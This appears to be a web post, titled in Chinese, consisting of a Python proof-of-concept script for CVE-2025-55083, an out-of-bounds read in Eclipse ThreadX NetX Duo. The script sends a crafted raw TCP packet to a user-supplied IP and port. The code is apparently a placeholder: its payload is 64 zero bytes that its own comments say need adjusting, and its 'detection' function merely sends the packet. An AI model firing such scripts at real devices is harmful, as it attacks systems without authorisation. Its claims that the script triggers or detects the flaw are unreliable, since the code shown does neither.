CVE-2025-55083 Eclipse ThreadX NetX Duo越界读取漏洞

# CVE-2025-55083 PoC - NetX Duo Out-of-Bounds Read # This PoC demonstrates the concept of triggering an out-of-bounds read # in NetX Duo versions before 6.4.4 by sending a crafted network packet. import socket import struct def craft_malicious_packet(target_ip, target_port): """ Craft a malicious network packet designed to trigger the out-of-bounds read vulnerability in NetX Duo < 6.4.4. The vulnerability is caused by incorrect bound check resulting in a read that is out by two bytes. """ # Create a raw socket (requires root/admin privileges) try: sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) except PermissionError: print("[!] Raw socket requires root/admin privileges") return # Construct a packet with manipulated length field to trigger OOB read # The key is to set packet parameters that bypass the incorrect bound check # TCP Header (simplified) src_port = 12345 dst_port = target_port seq_num = 0 ack_num = 0 data_offset = 5 # 20 bytes (no options) flags = 0x02 # SYN flag window = 65535 checksum = 0 urgent = 0 # Build TCP header tcp_header = struct.pack('!HHIIBBHHH', src_port, dst_port, seq_num, ack_num, (data_offset << 4), flags, window, checksum, urgent) # Payload designed to trigger the 2-byte out-of-bounds read # The specific payload depends on which protocol parser is targeted malicious_payload = b'\x00' * 64 # Adjust size to trigger OOB # Send the packet packet = tcp_header + malicious_payload sock.sendto(packet, (target_ip, target_port)) print(f"[*] Malicious packet sent to {target_ip}:{target_port}") sock.close() def detect_vulnerability(target_ip, target_port): """ Detect if the target is running a vulnerable version of NetX Duo. """ print(f"[*] Testing {target_ip}:{target_port} for CVE-2025-55083") print("[*] Vulnerable versions: NetX Duo < 6.4.4") craft_malicious_packet(target_ip, target_port) if __name__ == "__main__": import sys if len(sys.argv) >= 3: target_ip = sys.argv[1] target_port = int(sys.argv[2]) detect_vulnerability(target_ip, target_port) else: print("Usage: python poc.py <target_ip> <target_port>") print("Note: Requires root/admin privileges for raw socket access")